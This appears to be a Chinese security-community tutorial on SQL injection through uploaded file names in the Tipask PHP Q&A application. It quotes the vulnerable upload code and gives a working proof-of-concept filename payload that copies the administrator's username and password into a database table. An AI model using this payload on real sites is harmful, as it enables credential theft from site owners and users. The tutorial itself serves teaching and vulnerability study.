SQL注入详解之FILES注入!
Posted i春秋
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入详解之FILES注入!相关的知识,希望对你有一定的参考价值。
i春秋社区
作者说FILES注入
和外面那些妖艳贱货都有一点区别
大家做渗透测试的时候可以试试
厉害了哟,究竟是哪种不一样的思路呢,
一起来看看吧~
起立!
老师好~
0x01 正文
FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里我们找个案例来讲,就tipask吧
首先我们看看index.php
<?php
/*the tipask entrance */
error_reporting(0);
set_magic_quotes_runtime(0);
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('IN_TIPASK', TRUE);
define('TIPASK_ROOT', dirname(__FILE__));
define('SITE_URL','http://'.$_SERVER['HTTP_HOST'].substr($_SERVER['PHP_SELF'],0,-9) );
include TIPASK_ROOT.'/model/tipask.class.php'; //跟进
$tipask = new tipask();
$tipask->run();
?>
跟进去看看全局是怎么处理的
<?php
!defined('IN_TIPASK') && exit('Access Denied');
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
require TIPASK_ROOT . '/lib/db.class.php';
require TIPASK_ROOT . '/lib/global.func.php';
require TIPASK_ROOT . '/lib/cache.class.php';
require TIPASK_ROOT . '/model/base.class.php';
class tipask {
var $get = array();
var $post = array();
var $vars = array();
function tipask() {
$this->init_request();
$this->load_control();
}
function init_request() {
global $urlmap;
if (!file_exists(TIPASK_ROOT . '/data/install.lock')) {
header('location:install/index.php');
exit();
}
require TIPASK_ROOT . '/config.php';
header('Content-type: text/html; charset=' . TIPASK_CHARSET); //给浏览器识别,sbie6
$querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
$pos = strpos($querystring, '.');
if ($pos !== false) {
$querystring = substr($querystring, 0, $pos);
}
/* 处理简短url */
$pos = strpos($querystring, '-');
($pos !== false) && $querystring = urlmap($querystring);
$andpos = strpos($querystring, "&");
$andpos && $querystring = substr($querystring, 0, $andpos);
$this->get = explode('/', $querystring);
if (empty($this->get[0])) {
$this->get[0] = 'index';
}
if (empty($this->get[1])) {
$this->get[1] = 'default';
}
if (count($this->get) < 2) {
exit(' Access Denied !');
}
unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);
$this->get = taddslashes($this->get, 1);
$this->post = taddslashes(array_merge($_GET, $_POST));
checkattack($this->post, 'post');
checkattack($this->get, 'get');
unset($_POST);
}
function load_control() {
$controlfile = TIPASK_ROOT . '/control/' . $this->get[0] . '.php';
$isadmin = ('admin' == substr($this->get[0], 0, 5));
$isadmin && $controlfile = TIPASK_ROOT . '/control/admin/' . substr($this->get[0], 6) . '.php';
if (false === @include($controlfile)) {
$this->notfound('control file "' . $controlfile . '" not found!');
}
}
function run() {
$controlname = $this->get[0] . 'control';
$control = new $controlname($this->get, $this->post);
$method = 'on' . $this->get[1];
if (method_exists($control, $method)) {
$regular = $this->get[0] . '/' . $this->get[1];
$isajax = (0 === strpos($this->get[1], 'ajax'));
if ($control->checkable($regular) || $isajax) {
$control->$method();
} else {
$control->message('您无权进行当前操作,原因如下:<br/> 您所在的用户组(' . $control->user['grouptitle'] . ')无法进行此操作。', 'user/login');
}
} else {
$this->notfound('method "' . $method . '" not found!');
}
}
function notfound($error) {
@header('HTTP/1.0 404 Not Found');
exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><p> $error </p></body></html>");
}
}
?>
通过分析,可以看到这里对GET请求与POST请求做了addslashes转义,之前讲宽字符注入提过addslashes函数,这时候,我们应该怎么做呢?
一般这时候,我们就可以搜索全局函数
“
$_FILES
因为$_FILES并没有被addslashes函数转义
我们通过搜索$_FILES传点 /control/attach.php
继续看他代码
<?php
!defined('IN_TIPASK') && exit('Access Denied');
class attachcontrol extends base {
function attachcontrol(& $get, & $post) {
$this->base(& $get, & $post);
$this->load('attach');
}
function onupload() {
//上传配置
$config = array(
"uploadPath" => "data/attach/", //保存路径
"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
"fileSize" => 10 //文件大小限制,单位MB
);
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state = "SUCCESS";
$fileName = "";
$path = $config['uploadPath'];
$clientFile = $_FILES["upfile"];
if (!isset($clientFile)) {
echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
exit;
}
//格式验证
$current_type = strtolower(strrchr($clientFile["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
$state = "不支持的文件类型!";
}
//大小验证
$file_size = 1024 * 1024 * $config['fileSize'];
if ($clientFile["size"] > $file_size) {
$state = "文件大小超出限制!";
}
//保存文件
if ($state == "SUCCESS") {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
if (!$result) {
$state = "文件保存失败!";
} else {
$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
}
}
//向浏览器返回数据json数据
echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"'.$clientFile["name"] .'"}';
}
function onuploadimage() {
//上传配置
$config = array(
"uploadPath" => "data/attach/", //保存路径
"fileType" => array(".gif", ".png", ".jpg", ".jpeg", ".bmp"),
"fileSize" => 2048
);
//原始文件名,表单名固定,不可配置
$oriName = htmlspecialchars($this->post['fileName'], ENT_QUOTES);
//上传图片框中的描述表单名称,
$title = htmlspecialchars($this->post['pictitle'], ENT_QUOTES);
//文件句柄
$file = $_FILES["upfile"];
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜并显示在图片预览框,同时可以在前端页面通过回调函数获取对应字符窜
$state = "SUCCESS";
//格式验证
$current_type = strtolower(strrchr($file["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
$state = $current_type;
}
//大小验证
$file_size = 1024 * $config['fileSize'];
if ($file["size"] > $file_size) {
$state = "b";
}
//保存图片
if ($state == "SUCCESS") {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($file["name"], '.');
$result = $_ENV['attach']->movetmpfile($file, $targetfile);
if (!$result) {
$state = "c";
} else {
$_ENV['attach']->add($file["name"], $current_type, $file["size"], $targetfile);
}
}
echo "{'url':'" . $targetfile . "','title':'" . $title . "','original':'" . $oriName . "','state':'" . $state . "'}";
}
}
?>
可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。
这样的话那我们就可以构造poc了
filename="1','.php',1,(select concat(username,0x7e,password) from ask_user limit 1),2,1)"#.jpg
这样我们就能将管理员账户密码插入到attach表中
0x03 我是源码
下面附源码
链接: https://pan.baidu.com/s/1kV9Ejrx 密码: gjy7
有兴趣的可以自己搭建环境测试,一起来试试吧~
本文属i春秋原创奖励计划,未经许可禁止转载。
参与活动在i春秋社区发帖并注明参与奖励计划即可!
以上是关于SQL注入详解之FILES注入!的主要内容,如果未能解决你的问题,请参考以下文章